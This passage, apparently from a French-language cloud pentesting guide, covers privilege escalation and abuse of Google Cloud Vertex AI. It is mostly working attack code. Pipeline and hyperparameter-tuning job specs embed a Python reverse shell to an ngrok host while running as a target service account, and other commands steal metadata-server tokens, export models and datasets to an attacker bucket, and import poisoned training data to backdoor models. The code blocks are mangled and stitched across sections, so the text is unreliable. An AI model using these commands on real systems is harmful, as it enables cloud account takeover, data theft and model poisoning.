curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Créer des **jobs de pipeline ML** qui exécutent plusieurs étapes avec des conteneurs arbitraires et permettent une escalade de privilèges via un reverse shell.

Les pipelines sont particulièrement puissants pour l'escalade de privilèges car ils prennent en charge des attaques multi-étapes où chaque composant peut utiliser des conteneurs et des configurations différents.

> [!NOTE]
> Vous avez besoin d'un bucket GCS accessible en écriture par tous à utiliser comme racine du pipeline.

<details>

<summary>Installer Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilèges élevés via des custom training containers.

Les hyperparameter tuning jobs permettent d'exécuter plusieurs essais de training en parallèle, chacun avec des valeurs d'hyperparamètres différentes. En spécifiant un container malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir une privilege escalation.

**Impact**: Full privilege escalation vers les autorisations du service account cible.

<details>

<summary>Créer un hyperparameter tuning job avec un reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Importer des données malveillantes ou poisoned dans des datasets existants pour **manipuler l'entraînement du modèle et introduire des backdoors**.

**Note** : Les opérations sur les datasets nécessitent l'API REST ou le Python SDK (pas de support gcloud CLI pour les datasets).

En important des données spécialement conçues dans un dataset utilisé pour entraîner des modèles ML, un attaquant peut :
- Introduire des backdoors dans les modèles (trigger-based misclassification)
- Poison training data pour dégrader les performances du modèle
- Injecter des données pour provoquer un leak d'informations par les modèles
- Manipuler le comportement du modèle pour des entrées spécifiques

Cette attaque est particulièrement efficace lorsqu'on cible des datasets utilisés pour :
- Image classification (injecter des images mal étiquetées)
- Text classification (injecter du texte biaisé ou malveillant)
- Object detection (manipuler les bounding boxes)
- Recommendation systems (injecter de fausses préférences)

<details>

<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>Exécuter le notebook avec le service account cible</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions